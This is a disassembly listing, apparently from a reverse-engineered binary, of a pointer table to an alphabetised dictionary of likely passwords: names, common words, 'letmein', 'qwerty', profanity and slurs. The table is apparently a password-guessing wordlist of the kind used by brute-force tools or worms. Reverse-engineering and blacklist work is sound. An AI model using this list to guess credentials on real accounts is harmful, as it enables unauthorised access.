aBicamera ; "bicamera" dd offset aBigfoot ; "bigfoot" dd offset aBill ; "bill" dd offset aBinary ; "binary" dd offset aBios ; "bios" dd offset aBird ; "bird" dd offset aBishop ; "bishop" dd offset aBitch ; "bitch" dd offset aBitmap ; "bitmap" dd offset aBitnet ; "bitnet" dd offset aBlack ; "black" dd offset aBlonde ; "blonde" dd offset aBlondie ; "blondie" dd offset aBlood ; "blood" dd offset aBloodaxe ; "bloodaxe" dd offset aBlow ; "blow" dd offset aBlowjob ; "blowjob" dd offset aBlue ; "blue" dd offset aBlues ; "blues" dd offset aBoard ; "board" dd offset aBomb ; "bomb" dd offset aBoner ; "boner" dd offset aBoob ; "boob" dd offset aBoobs ; "boobs" dd offset aBook ; "book" dd offset aBorn ; "born" dd offset aBoyscout ; "boyscout" dd offset aBradley ; "bradley" dd offset aBrandi ; "brandi" dd offset aBrandy ; "brandy" dd offset aBravo ; "bravo" dd offset aBreak ; "break" dd offset aBreast ; "breast" dd offset aBrenda ; "brenda" dd offset aBrian ; "brian" dd offset aBridget ; "bridget" dd offset aBroadway ; "broadway" dd offset aBrothel ; "brothel" dd offset aBrunette ; "brunette" dd offset aBrute ; "brute" dd offset aBrutefor ; "brutefor" dd offset aBulls ; "bulls" dd offset aBullshit ; "bullshit" dd offset aBumbling ; "bumbling" dd offset aBung ; "bung" dd offset aBurgess ; "burgess" dd offset aBurn ; "burn" dd offset aButch ; "butch" dd offset aButt ; "butt" dd offset aButthead ; "butthead" dd offset aCaliforn ; "californ" dd offset aCamille ; "camille" dd offset aCampanil ; "campanil" dd offset aCamping ; "camping" dd offset aCandi ; "candi" dd offset aCandy ; "candy" dd offset aCantor ; "cantor" dd offset aCaptain ; "captain" dd offset aCapture ; "capture" dd offset aCard ; "card" dd offset aCardinal ; "cardinal" dd offset aCaren ; "caren" dd offset aCarla ; "carla" dd offset aCarmen ; "carmen" dd offset aCarol ; "carol" dd offset aCarole ; "carole" dd offset aCarolina ; "carolina" dd offset aCaroline ; "caroline" dd offset aCarrie ; "carrie" dd offset aCarson ; "carson" dd offset aCascades ; "cascades" dd offset aCash ; "cash" dd offset aCastle ; "castle" dd offset aCatherin ; "catherin" dd offset aCatholic ; "catholic" dd offset aCathy ; "cathy" dd offset aCave ; "cave" dd offset aCayuga ; "cayuga" dd offset aCecily ; "cecily" dd offset aCelt ; "celt" dd offset aCeltic ; "celtic" dd offset aCeltics ; "celtics" dd offset aCerulean ; "cerulean" dd offset aChange ; "change" dd offset aCharity ; "charity" dd offset aCharles ; "charles" dd offset aCharlie ; "charlie" dd offset aCharming ; "charming" dd offset aCharon ; "charon" dd offset aChat_0 ; "chat" dd offset aChem ; "chem" dd offset aChemistr ; "chemistr" dd offset aChess ; "chess" dd offset aChester ; "chester" dd offset aChip ; "chip" dd offset aChris ; "chris" dd offset aChristin ; "christin" dd offset aChristy ; "christy" dd offset aCigar ; "cigar" dd offset aCigarett ; "cigarett" dd offset aCindy ; "cindy" dd offset aClass ; "class" dd offset aClasses ; "classes" dd offset aClassic ; "classic" dd offset aClaudia ; "claudia" dd offset aClaymore ; "claymore" dd offset aCleavage ; "cleavage" dd offset aClinton ; "clinton" dd offset aCluster ; "cluster" dd offset aClusters ; "clusters" dd offset aCoast ; "coast" dd offset aCocacola ; "cocacola" dd offset aCocainco ; "cocainco" dd offset aCock ; "cock" dd offset aCode ; "code" dd offset aCodename ; "codename" dd offset aCodeword ; "codeword" dd offset aCoffee ; "coffee" dd offset aCoin ; "coin" dd offset aCoke ; "coke" dd offset aCola ; "cola" dd offset aCold ; "cold" dd offset aCollins ; "collins" dd offset aColor ; "color" dd offset aCombat ; "combat" dd offset aComics ; "comics" dd offset aCommit ; "commit" dd offset aCommrade ; "commrade" dd offset aCompany ; "company" dd offset aComputin ; "computin" dd offset aComrade ; "comrade" dd offset aComrades ; "comrades" dd offset aCondo ; "condo" dd offset aCondom ; "condom" dd offset aConnect ; "connect" dd offset aConnie ; "connie" dd offset aConserva ; "conserva" dd offset aConsole ; "console" dd offset aContinue ; "continue" dd offset aCook ; "cook" dd offset aCookbook ; "cookbook" dd offset aCookie ; "cookie" dd offset aCool_1 ; "cool" dd offset aCooper ; "cooper" dd offset aCopper ; "copper" dd offset aCops ; "cops" dd offset aCopy ; "copy" dd offset aCorneliu ; "corneliu" dd offset aCorrect ; "correct" dd offset aCounters ; "counters" dd offset aCountry ; "country" dd offset aCouscous ; "couscous" dd offset aCowboy ; "cowboy" dd offset aCrack ; "crack" dd offset aCrackpot ; "crackpot" dd offset aCream ; "cream" dd offset aCreate ; "create" dd offset aCreation ; "creation" dd offset aCreature ; "creature" dd offset aCredit ; "credit" dd offset aCreosote ; "creosote" dd offset aCretin ; "cretin" dd offset aCrime ; "crime" dd offset aCriminal ; "criminal" dd offset aCristina ; "cristina" dd offset aCrystal ; "crystal" dd offset aCshrc ; "cshrc" dd offset aCunt ; "cunt" dd offset aCustomer ; "customer" dd offset aCyber ; "cyber" dd offset aCyberpun ; "cyberpun" dd offset aCyberspa ; "cyberspa" dd offset aCynthia ; "cynthia" dd offset aDaemon ; "daemon" dd offset aDaisy ; "daisy" dd offset aDana ; "dana" dd offset aDancer ; "dancer" dd offset aDaniel ; "daniel" dd offset aDanielle ; "danielle" dd offset aDanny ; "danny" dd offset aDapper ; "dapper" dd offset aDark ; "dark" dd offset aDarkaven ; "darkaven" dd offset aData ; "data" dd offset aDave ; "dave" dd offset aDawn ; "dawn" dd offset aDead ; "dead" dd offset aDeathsta ; "deathsta" dd offset aDebbie ; "debbie" dd offset aDeborah ; "deborah" dd offset aDebug ; "debug" dd offset aDecember ; "december" dd offset aDeck ; "deck" dd offset aDefault ; "default" dd offset aDefault_0 ; "DEFAULT" dd offset aDefoe ; "defoe" dd offset aDelta ; "delta" dd offset aDeluge ; "deluge" dd offset aDemocrat ; "democrat" dd offset aDenise ; "denise" dd offset aDennis ; "dennis" dd offset aDesiree ; "desiree" dd offset aDesk ; "desk" dd offset aDesktop ; "desktop" dd offset aDesperat ; "desperat" dd offset aDevelop ; "develop" dd offset aDevice ; "device" dd offset aDial ; "dial" dd offset aDiamond ; "diamond" dd offset aDiana ; "diana" dd offset aDiane ; "diane" dd offset aDice ; "dice" dd offset aDick ; "dick" dd offset aDiehard ; "diehard" dd offset aDiet ; "diet" dd offset aDieter ; "dieter" dd offset aDigital ; "digital" dd offset aDinosaur ; "dinosaur" dd offset aDipshit ; "dipshit" dd offset aDirect ; "direct" dd offset aDirector ; "director" dd offset aDirty ; "dirty" dd offset aDisc ; "disc" dd offset aDiscipli ; "discipli" dd offset aDisclose ; "disclose" dd offset aDiscover ; "discover" dd offset aDisk_0 ; "disk" dd offset aDiskette ; "diskette" dd offset aDisney ; "disney" dd offset aDisplay_0 ; "display" dd offset aDoctor ; "doctor" dd offset aDollar ; "dollar" dd offset aDong ; "dong" dd offset aDoom ; "doom" dd offset aDoom2 ; "doom2" dd offset aDoomii ; "doomii" dd offset aDoomsday ; "doomsday" dd offset aDoonesbu ; "doonesbu" dd offset aDoor ; "door" dd offset aDoors ; "doors" dd offset aDope ; "dope" dd offset aDownload ; "download" dd offset aDragon ; "dragon" dd offset aDrdoom ; "drdoom" dd offset aDrive ; "drive" dd offset aDrought ; "drought" dd offset aDuck ; "duck" dd offset aDude ; "dude" dd offset aDuelist ; "duelist" dd offset aDuke ; "duke" dd offset aDulce ; "dulce" dd offset aDuncan ; "duncan" dd offset aDungeon ; "dungeon" dd offset aDyke ; "dyke" dd offset aEager ; "eager" dd offset aEagle ; "eagle" dd offset aEarth ; "earth" dd offset aEasier ; "easier" dd offset aEasy ; "easy" dd offset aEatme ; "eatme" dd offset aEcho ; "echo" dd offset aEddie ; "eddie" off_430050 dd offset aEdges ; DATA XREF: ___:00427B70o ; "edges" dd offset aEdinburg ; "edinburg" dd offset aEdit ; "edit" off_43005C dd offset aEdition ; DATA XREF: ___:off_427A0Co ; "edition" dd offset aEducation ; "education" dd offset aEducatio ; "educatio" dd offset aEdwin ; "edwin" dd offset aEdwina ; "edwina" dd offset aEgghead ; "egghead" dd offset aEiderdow ; "eiderdow" dd offset aEileen ; "eileen" dd offset aEinsiein ; "einsiein" dd offset aEinstein ; "einstein" dd offset aElaine ; "elaine" dd offset aElanor ; "elanor" dd offset aElectron ; "electron" dd offset aElephant ; "elephant" dd offset aElizabet ; "elizabet" dd offset aEllen ; "ellen" dd offset aEmail ; "email" dd offset aEmerald ; "emerald" dd offset aEmily ; "emily" dd offset aEmmanuel ; "emmanuel" dd offset aEnemy ; "enemy" dd offset aEngine ; "engine" dd offset aEngineer ; "engineer" dd offset aEngland ; "england" dd offset aEnglish ; "english" dd offset aEnter ; "enter" dd offset aEnterpri ; "enterpri" dd offset aEnzyme ; "enzyme" dd offset aErenity ; "erenity" dd offset aEric ; "eric" dd offset aErica ; "erica" dd offset aErika ; "erika" dd offset aErin ; "erin" dd offset aErotic ; "erotic" dd offset aErsatz ; "ersatz" dd offset aEstablis ; "establis" dd offset aEstate ; "estate" dd offset aEternity ; "eternity" dd offset aEuclid ; "euclid" dd offset aEvelyn ; "evelyn" dd offset aExpert ; "expert" dd offset aExplode ; "explode" dd offset aExplore ; "explore" dd offset aExplorer ; "explorer" dd offset aExplosiv ; "explosiv" dd offset aExtensio ; "extensio" dd offset aFairway ; "fairway" dd offset aFaith ; "faith" dd offset aFalcon ; "falcon" dd offset aFalse ; "false" dd offset aFamily ; "family" dd offset aFarad ; "farad" dd offset aFaraday ; "faraday" dd offset aFart ; "fart" dd offset aFast ; "fast" dd offset aFear ; "fear" dd offset aFeds ; "feds" dd offset aFelicia ; "felicia" dd offset aFender ; "fender" dd offset aFermat ; "fermat" dd offset aFerrari ; "ferrari" dd offset aFidelity ; "fidelity" dd offset aField ; "field" dd offset aFight ; "fight" dd offset aFile ; "file" dd offset aFinite ; "finite" dd offset aFire ; "fire" dd offset aFirewall ; "firewall" dd offset aFishers ; "fishers" dd offset aFlakes ; "flakes" dd offset aFloat ; "float" dd offset aFlorida ; "florida" dd offset aFlower ; "flower" dd offset aFlowers ; "flowers" dd offset aFood ; "food" dd offset aFool ; "fool" dd offset aFoolproo ; "foolproo" dd offset aFootball ; "football" dd offset aForce ; "force" dd offset aFord ; "ford" dd offset aForesigh ; "foresigh" dd offset aForever ; "forever" dd offset aForm ; "form" dd offset aFormat ; "format" dd offset aFornicat ; "fornicat" dd offset aForsythe ; "forsythe" dd offset aFourier ; "fourier" dd offset aFoxtrot ; "foxtrot" dd offset aFrance ; "france" dd offset aFrank ; "frank" dd offset aFreak ; "freak" dd offset aFred ; "fred" dd offset aFree ; "free" dd offset aFreedom ; "freedom" dd offset aFrench ; "french" dd offset aFriday ; "friday" dd offset aFriend ; "friend" dd offset aFriends ; "friends" dd offset aFrighten ; "frighten" dd offset aFrog ; "frog" dd offset aFryguy ; "fryguy" dd offset aFuck ; "fuck" dd offset aFucker ; "fucker" dd offset aFucking ; "fucking" dd offset aFuckme ; "fuckme" dd offset aFuckyou ; "fuckyou" dd offset aFudge ; "fudge" dd offset aFunction ; "function" dd offset aFungible ; "fungible" dd offset aGabriel ; "gabriel" dd offset aGames ; "games" dd offset aGardner ; "gardner" dd offset aGarfield ; "garfield" dd offset aGateway ; "gateway" dd offset aGatherin ; "gatherin" dd offset aGatt ; "gatt" dd offset aGauss ; "gauss" dd offset aGeorge ; "george" dd offset aGerm ; "germ" dd offset aGertrude ; "gertrude" dd offset aGhost ; "ghost" dd offset aGibson ; "gibson" dd offset aGigabyte ; "gigabyte" dd offset aGina ; "gina" dd offset aGinger ; "ginger" dd offset aGirl ; "girl" dd offset aGlacier ; "glacier" dd offset aGold ; "gold" dd offset aGolden ; "golden" dd offset aGolf ; "golf" dd offset aGolfer ; "golfer" dd offset aGood ; "good" dd offset aGorgeous ; "gorgeous" dd offset aGorges ; "gorges" dd offset aGosling ; "gosling" dd offset aGouge ; "gouge" dd offset aGovermen ; "govermen" dd offset aGrades ; "grades" dd offset aGraham ; "graham" dd offset aGrahm ; "grahm" dd offset aGrand ; "grand" dd offset aGrant ; "grant" dd offset aGreat ; "great" dd offset aGreen ; "green" dd offset aGroup ; "group" dd offset aGryphon ; "gryphon" dd offset aGuardian ; "guardian" dd offset aGucci ; "gucci" dd offset aGuess ; "guess" dd offset aGuitar ; "guitar" dd offset aGumption ; "gumption" dd offset aGuntis ; "guntis" dd offset aHack ; "hack" dd offset aHacked ; "hacked" dd offset aHagar ; "hagar" dd offset aHair ; "hair" dd offset aHallowee ; "hallowee" dd offset aHamlet ; "hamlet" dd offset aHamster ; "hamster" dd offset aHandel ; "handel" dd offset aHandily ; "handily" dd offset aHandjob ; "handjob" dd offset aHappenin ; "happenin" dd offset aHard ; "hard" dd offset aHardcore ; "hardcore" dd offset aHarddriv ; "harddriv" dd offset aHarmony ; "harmony" dd offset aHarold ; "harold" dd offset aHarvey ; "harvey" dd offset aHate ; "hate" dd offset aHaven ; "haven" dd offset aHawaii ; "hawaii" dd offset aHead ; "head" dd offset aHeadbang ; "headbang" dd offset aHeat ; "heat" dd offset aHeathen ; "heathen" dd offset aHeather ; "heather" dd offset aHebrides ; "hebrides" dd offset aHeidi ; "heidi" dd offset aHeinlein ; "heinlein" dd offset aHell ; "hell" dd offset aHello ; "hello" dd offset aHelp ; "help" dd offset aHerb ; "herb" dd offset aHerbert ; "herbert" dd offset aHero ; "hero" dd offset aHeroin ; "heroin" dd offset aHewlett ; "hewlett" dd offset aHexadeci ; "hexadeci" dd offset aHiawatha ; "hiawatha" dd offset aHibernia ; "hibernia" dd offset aHidden ; "hidden" dd offset aHigh ; "high" dd offset aHighland ; "highland" dd offset aHitler ; "hitler" dd offset aHits ; "hits" dd offset aHole ; "hole" dd offset aHolly ; "holly" dd offset aHollywoo ; "hollywoo" dd offset aHomepage ; "homepage" dd offset aHomer ; "homer" dd offset aHomework ; "homework" dd offset aHoney ; "honey" dd offset aHooker ; "hooker" dd offset aHooters ; "hooters" dd offset aHorny ; "horny" dd offset aHorrible ; "horrible" dd offset aHorror ; "horror" dd offset aHorse ; "horse" dd offset aHorus ; "horus" dd offset aHost ; "host" dd offset aHotdog ; "hotdog" dd offset aHotel ; "hotel" dd offset aHttp_0 ; "http" dd offset aHunt ; "hunt" dd offset aHunter ; "hunter" dd offset aHutchins ; "hutchins" dd offset aHydrogen ; "hydrogen" dd offset aHyper ; "hyper" dd offset aHypertxt ; "hypertxt" dd offset aIcecream ; "icecream" dd offset aIllumina ; "illumina" dd offset aImage ; "image" dd offset aImbrogli ; "imbrogli" dd offset aImmortal ; "immortal" dd offset aImperial ; "imperial" dd offset aInclude ; "include" dd offset aIndia ; "india" dd offset aIndian ; "indian" dd offset aIndiana ; "indiana" dd offset aIndians ; "indians" dd offset aIngres ; "ingres" dd offset aIngress ; "ingress" dd offset aIngrid ; "ingrid" dd offset aInna ; "inna" dd offset aInnocuou ; "innocuou" dd offset aInput ; "input" dd offset aInside ; "inside" dd offset aInteger ; "integer" dd offset aInvent ; "invent" dd offset aIrene ; "irene" dd offset aIrishman ; "irishman" dd offset aIsis ; "isis" dd offset aJackie ; "jackie" dd offset aJail ; "jail" dd offset aJane ; "jane" dd offset aJanet ; "janet" dd offset aJanice ; "janice" dd offset aJanie ; "janie" dd offset aJapan ; "japan" dd offset aJasmin ; "jasmin" dd offset aJava ; "java" dd offset aJazz ; "jazz" dd offset aJean ; "jean" dd offset aJeanne ; "jeanne" dd offset aJeff ; "jeff" dd offset aJenni ; "jenni" dd offset aJennifer ; "jennifer" dd offset aJenny ; "jenny" dd offset aJerry ; "jerry" dd offset aJerusale ; "jerusale" dd offset aJessica ; "jessica" dd offset aJester ; "jester" dd offset aJewelry ; "jewelry" dd offset aJill ; "jill" dd offset aJixian ; "jixian" dd offset aJoanne ; "joanne" dd offset aJody ; "jody" dd offset aJohn ; "john" dd offset aJohndoe ; "johndoe" dd offset aJohnny ; "johnny" dd offset aJoseph ; "joseph" dd offset aJoshua ; "joshua" dd offset aJournal ; "journal" dd offset aJoyce ; "joyce" dd offset aJudith ; "judith" dd offset aJudy ; "judy" dd offset aJuggle ; "juggle" dd offset aJuicy ; "juicy" dd offset aJulia ; "julia" dd offset aJulie ; "julie" dd offset aJuliet ; "juliet" dd offset aJune ; "june" dd offset aJupiter ; "jupiter" dd offset aKaka ; "kaka" dd offset aKaren ; "karen" dd offset aKarie ; "karie" dd offset aKarina ; "karina" dd offset aKatana ; "katana" dd offset aKate ; "kate" dd offset aKathleen ; "kathleen" dd offset aKathrine ; "kathrine" dd offset aKathy ; "kathy" dd offset aKatina ; "katina" dd offset aKatrina ; "katrina" dd offset aKelly ; "kelly" dd offset aKeri ; "keri" dd offset aKermit ; "kermit" dd offset aKernel ; "kernel" dd offset aKerri ; "kerri" dd offset aKerrie ; "kerrie" dd offset aKerry ; "kerry" dd offset aKevin ; "kevin" dd offset aKewl ; "kewl" dd offset aKeybord ; "keybord" dd offset aKeyin ; "keyin" dd offset aKeyword ; "keyword" dd offset aKids ; "kids" dd offset aKill ; "kill" dd offset aKillthem ; "killthem" dd offset aKilo ; "kilo" dd offset aKimberly ; "kimberly" dd offset aKing ; "king" dd offset aKirk ; "kirk" dd offset aKirkland ; "kirkland" dd offset aKiss ; "kiss" dd offset aKissmyas ; "kissmyas" dd offset aKitten ; "kitten" dd offset aKlingon ; "klingon" dd offset aKnife ; "knife" dd offset aKnight ; "knight" dd offset aKnightma ; "knightma" dd offset aKnown ; "known" dd offset aKrista ; "krista" dd offset aKristen ; "kristen" dd offset aKristi ; "kristi" dd offset aKristie ; "kristie" dd offset aKristin ; "kristin" dd offset aKristine ; "kristine" dd offset aKristy ; "kristy" dd offset aLadies ; "ladies" dd offset aLadle ; "ladle" dd offset aLakers ; "lakers" dd offset aLambda ; "lambda" dd offset aLaminati ; "laminati" dd offset aLana ; "lana" dd offset aLaptop ; "laptop" dd offset aLara ; "lara" dd offset aLarkin ; "larkin" dd offset aLarry ; "larry" dd offset aLaser ; "laser" dd offset aLaura ; "laura" dd offset aLava ; "lava" dd offset aLazarus ; "lazarus" dd offset aLazer ; "lazer" dd offset aLeah ; "leah" dd offset aLebesgue ; "lebesgue" dd offset aLeft ; "left" dd offset aLeftwing ; "leftwing" dd offset aLegal ; "legal" dd offset aLeland ; "leland" dd offset aLeroy ; "leroy" dd offset aLesbian ; "lesbian" dd offset aLeslie ; "leslie" dd offset aLetmein ; "letmein" dd offset aLewis ; "lewis" dd offset aLexluthe ; "lexluthe" dd offset aLiberal ; "liberal" dd offset aLibrary ; "library" dd offset aLick ; "lick" dd offset aLicker ; "licker" dd offset aLife ; "life" dd offset aLight ; "light" dd offset aLightsab ; "lightsab" dd offset aLima ; "lima" dd offset aLimbaugh ; "limbaugh" dd offset aLimited ; "limited" dd offset aLinda ; "linda" dd offset aLink ; "link" dd offset aLion ; "lion" dd offset aLips ; "lips" dd offset aLisa ; "lisa" dd offset aLisp ; "lisp" dd offset aLiteratu ; "literatu" dd offset aLive ; "live" dd offset aLoad ; "load" dd offset aLock ; "lock" dd offset aLockout ; "lockout" dd offset aLockword ; "lockword" dd offset aLogic ; "logic" dd offset aLoginwor ; "loginwor" dd offset aLogout ; "logout" dd offset aLois ; "lois" dd offset aLolopc ; "lolopc" dd offset aLoose ; "loose" dd offset aLore ; "lore" dd offset aLori ; "lori" dd offset aLorin ; "lorin" dd offset aLorraine ; "lorraine" dd offset aLoser ; "loser" dd offset aLouis ; "louis" dd offset aLovebug ; "lovebug" dd offset aLover ; "lover" dd offset aLuck ; "luck" dd offset aLucus ; "lucus" dd offset aLucy ; "lucy" dd offset aLude ; "lude" dd offset aLuke ; "luke" dd offset aLust ; "lust" dd offset aLynn ; "lynn" dd offset aLynne ; "lynne" dd offset aMachine ; "machine" dd offset aMacintos ; "macintos" dd offset aMack ; "mack" dd offset aMacro ; "macro" dd offset aMaggot ; "maggot" dd offset aMagic ; "magic" dd offset aMagnet ; "magnet" dd offset aMail ; "mail" dd offset aMaint ; "maint" dd offset aMalcolm ; "malcolm" dd offset aMalcom ; "malcom" dd offset aMana ; "mana" dd offset aManager ; "manager" dd offset aMara ; "mara" dd offset aMarci ; "marci" dd offset aMarcy ; "marcy" dd offset aMaria ; "maria" dd offset aMariens ; "mariens" dd offset aMarietta ; "marietta" dd offset aMarijuan ; "marijuan" dd offset aMarines ; "marines" dd offset aMark ; "mark" dd offset aMarkus ; "markus" dd offset aMarni ; "marni" dd offset aMarriage ; "marriage" dd offset aMars ; "mars" dd offset aMarty ; "marty" dd offset aMarvin ; "marvin" dd offset aMary ; "mary" dd offset aMason ; "mason" dd offset aMaster ; "master" dd offset aMath ; "math" dd offset aMaurice ; "maurice" dd offset aMeagan ; "meagan" dd offset aMegabyte ; "megabyte" dd offset aMegadeth ; "megadeth" dd offset aMegan ; "megan" dd offset aMelissa ; "melissa" dd offset aMellon ; "mellon" dd offset aMelrose ; "melrose" dd offset aMember ; "member" dd offset aMemory ; "memory" dd offset aMenace ; "menace" dd offset aMenu ; "menu" dd offset aMercury ; "mercury" dd offset aMerlin ; "merlin" dd offset aMetal ; "metal" dd offset aMetalhea ; "metalhea" dd offset aMetalica ; "metalica" dd offset aMets ; "mets" dd offset aMice ; "mice" dd offset aMichael ; "michael" dd offset aMichel ; "michel" dd offset aMichelan ; "michelan" dd offset aMichele ; "michele" dd offset aMichelle ; "michelle" dd offset aMickey ; "mickey" dd offset aMicro ; "micro" dd offset aMicrochi ; "microchi" dd offset aMicropro ; "micropro" dd offset aMicrosof ; "microsof" dd offset aMidieval ; "midieval" dd offset aMike ; "mike" dd offset aMine ; "mine" dd offset aMinimum ; "minimum" dd offset aMinsky ; "minsky" dd offset aMisfit ; "misfit" dd offset aMission ; "mission" dd offset aMkii ; "mkii" dd offset aMode ; "mode" dd offset aModem ; "modem" dd offset aMogul ; "mogul" dd offset aMoguls ; "moguls" dd offset aMonday ; "monday" dd offset aMonica ; "monica" dd offset aMoom ; "moom" dd offset aMoor ; "moor" dd offset aMoose ; "moose" dd offset aMore ; "more" dd offset aMorley ; "morley" dd offset aMorris ; "morris" dd offset aMortal ; "mortal" dd offset aMortalco ; "mortalco" dd offset aMortgage ; "mortgage" dd offset aMosaic ; "mosaic" dd offset aMountain ; "mountain" dd offset aMouse ; "mouse" dd offset aMove ; "move" dd offset aMovie ; "movie" dd offset aMovies ; "movies" dd offset aMozart ; "mozart" dd offset aMpeg ; "mpeg" dd offset aMsdos ; "msdos" dd offset aMuppets ; "muppets" dd offset aMutant ; "mutant" dd offset aNagel ; "nagel" dd offset aName ; "name" dd offset aNancy ; "nancy" dd offset aNapoleon ; "napoleon" dd offset aNasa ; "nasa" dd offset aNavy ; "navy" dd offset aNepenthe ; "nepenthe" dd offset aNeptune ; "neptune" dd offset aNess ; "ness" dd offset aNetscape ; "netscape" dd offset aNetwork_0 ; "network" dd offset aNewborn ; "newborn" dd offset aNews ; "news" dd offset aNewsgrou ; "newsgrou" dd offset aNewton ; "newton" dd offset aNewyork ; "newyork" dd offset aNext ; "next" dd offset aNice ; "nice" dd offset aNicole ; "nicole" dd offset aNicotine ; "nicotine" dd offset aNight ; "night" dd offset aNightmar ; "nightmar" dd offset aNintendo ; "nintendo" dd offset aNita ; "nita" dd offset aNnaacp ; "nnaacp" dd offset aNoble ; "noble" dd offset aNobody ; "nobody" dd offset aNode ; "node" dd offset aNoreen ; "noreen" dd offset aNotes ; "notes" dd offset aNoth ; "noth" dd offset aNova ; "nova" dd offset aNovel ; "novel" dd offset aNovember ; "november" dd offset aNoxious ; "noxious" dd offset aNuclear ; "nuclear" dd offset aNude ; "nude" dd offset aNuke ; "nuke" dd offset aNukem ; "nukem" dd offset aNull_1 ; "null" dd offset aNumber ; "number" dd offset aNutritio ; "nutritio" dd offset aNuts ; "nuts" dd offset aNyquist ; "nyquist" dd offset aObscurit ; "obscurit" dd offset aOceanogr ; "oceanogr" dd offset aOcelot ; "ocelot" dd offset aOffice ; "office" dd offset aOkay ; "okay" dd offset aOldage ; "oldage" dd offset aOlivetti ; "olivetti" dd offset aOlivia ; "olivia" dd offset aOmega ; "omega" dd offset aOpen ; "open" dd offset aOpening ; "opening" dd offset aOpenlock ; "openlock" dd offset aOpensesa ; "opensesa" dd offset aOperator ; "operator" dd offset aOrca ; "orca" dd offset aOrient ; "orient" dd offset aOrwell ; "orwell" dd offset aOscar ; "oscar" dd offset aOsiris ; "osiris" dd offset aOutdoors ; "outdoors" dd offset aOutlaw ; "outlaw" dd offset aOutput ; "output" dd offset aOutside ; "outside" dd offset aOxford ; "oxford" dd offset aPacific ; "pacific" dd offset aPackard ; "packard" dd offset aPacker ; "packer" dd offset aPainless ; "painless" dd offset aPaint ; "paint" dd offset aPakistan ; "pakistan" dd offset aPamela ; "pamela" dd offset aPapa ; "papa" dd offset aPaper ; "paper" dd offset aPapers ; "papers" dd offset aPascal ; "pascal" dd offset aPassphra ; "passphra" dd offset aPaste ; "paste" dd offset aPatricia ; "patricia" dd offset aPatriot ; "patriot" dd offset aPatty ; "patty" dd offset aPaula ; "paula" dd offset aPeanuts ; "peanuts" dd offset aPecker ; "pecker" dd offset aPencil ; "pencil" dd offset aPenelope ; "penelope" dd offset aPenguin ; "penguin" dd offset aPenis ; "penis" dd offset aPenname ; "penname" dd offset aPentagon ; "pentagon" dd offset aPentagra ; "pentagra" dd offset aPenthous ; "penthous" dd offset aPentium ; "pentium" dd offset aPeoria ; "peoria" dd offset aPepper ; "pepper" dd offset aPercolat ; "percolat" dd offset aPerfect ; "perfect" dd offset aPermit ; "permit" dd offset aPersimmo ; "persimmo" dd offset aPersona ; "persona" dd offset aPervert ; "pervert" dd offset aPete ; "pete" dd offset aPeter ; "peter" dd offset aPhil ; "phil" dd offset aPhilip ; "philip" dd offset aPhoenix ; "phoenix" dd offset aPhone ; "phone" dd offset aPhoton ; "photon" dd offset aPhrack ; "phrack" dd offset aPhrase ; "phrase" dd offset aPhreak ; "phreak" dd offset aPhuck ; "phuck" dd offset aPick ; "pick" dd offset aPierre ; "pierre" dd offset aPimp ; "pimp" dd offset aPinname ; "pinname" dd offset aPiss ; "piss" dd offset aPizza ; "pizza" dd offset aPlane ; "plane" dd offset aPlayboy ; "playboy" dd offset aPlover ; "plover" dd offset aPluto ; "pluto" dd offset aPlymouth ; "plymouth" dd offset aPoetry ; "poetry" dd offset aPolice ; "police" dd offset aPolly ; "polly" dd offset aPolynomi ; "polynomi" dd offset aPonderin ; "ponderin" dd offset aPoop ; "poop" dd offset aPoor ; "poor" dd offset aPork ; "pork" dd offset aPorn ; "porn" dd offset aPorno ; "porno" dd offset aPorsche ; "porsche" dd offset aPost ; "post" dd offset aPoster ; "poster" dd offset aPower ; "power" dd offset aPraise ; "praise" dd offset aPrecious ; "precious" dd offset aPrelude ; "prelude" dd offset aPresto ; "presto" dd offset aPrince ; "prince" dd offset aPrinceto ; "princeto" dd offset aPrinter ; "printer" dd offset aPriv ; "priv" dd offset aPrivate ; "private" dd offset aPrivs ; "privs" dd offset aProceed ; "proceed" dd offset aProcesso ; "processo" dd offset aProfesso ; "professo" dd offset aProfile ; "profile" dd offset aProgram ; "program" dd offset aPrompt ; "prompt" dd offset aProtect ; "protect" dd offset aProtozoa ; "protozoa" dd offset aPsycho ; "psycho" dd offset aPsychopa ; "psychopa" dd offset aPublic ; "public" dd offset aPuck ; "puck" dd offset aPuke ; "puke" dd offset aPumpkin ; "pumpkin" dd offset aPuneet ; "puneet" dd offset aPunisher ; "punisher" dd offset aPunk ; "punk" dd offset aPuppet ; "puppet" dd offset aPussy ; "pussy" dd offset aQuebec ; "quebec" dd offset aQwert ; "qwert" dd offset aQwerty ; "qwerty" dd offset aRabbit ; "rabbit" dd offset aRachel ; "rachel" dd offset aRachelle ; "rachelle" dd offset aRachmani ; "rachmani" dd offset aRaid ; "raid" dd offset aRain ; "rain" dd offset aRainbow ; "rainbow" dd offset aRaindrop ; "raindrop" dd offset aRaleigh ; "raleigh" dd offset aRandom ; "random" dd offset aRape ; "rape" dd offset aRascal ; "rascal" dd offset aRazor ; "razor" dd offset aReagan ; "reagan" dd offset aReality ; "reality" dd offset aReally ; "really" dd offset aReam ; "ream" dd offset aReaper ; "reaper" dd offset aRebal ; "rebal" dd offset aRebecca ; "rebecca" dd offset aRebel ; "rebel" dd offset aRecord ; "record" dd offset aReddawn ; "reddawn" dd offset aRedhead ; "redhead" dd offset aReferenc ; "referenc" dd offset aRegional ; "regional" dd offset aRelease ; "release" dd offset aRemote ; "remote" dd offset aRenee ; "renee" dd offset aReno ; "reno" dd offset aRent ; "rent" dd offset aReport ; "report" dd offset aRepublic ; "republic" dd offset aResistan ; "resistan" dd offset aReveal ; "reveal" dd offset aRhino ; "rhino" dd offset aRich ; "rich" dd offset aRick ; "rick" dd offset aRiffraff ; "riffraff" dd offset aRight ; "right" dd offset aRightwin ; "rightwin" dd offset aRing ; "ring" dd offset aRiot ; "riot" dd offset aRipple ; "ripple" dd offset aRisc ; "risc" dd offset aRoach ; "roach" dd offset aRobert ; "robert" dd offset aRobin ; "robin" dd offset aRobot ; "robot" dd offset aRobotics ; "robotics" dd offset aRobyn ; "robyn" dd offset aRochelle ; "rochelle" dd offset aRocheste ; "rocheste" dd offset aRock ; "rock" dd offset aRocky ; "rocky" dd offset aRockyhor ; "rockyhor" dd offset aRodent ; "rodent" dd offset aRolex ; "rolex" dd offset aRomano ; "romano" dd offset aRomeo ; "romeo" dd offset aRomulan ; "romulan" dd offset aRonald ; "ronald" dd offset aRose ; "rose" dd offset aRosebud ; "rosebud" dd offset aRosemary ; "rosemary" dd offset aRoses ; "roses" dd offset aRough ; "rough" dd offset aRubber ; "rubber" dd offset aRuben ; "ruben" dd offset 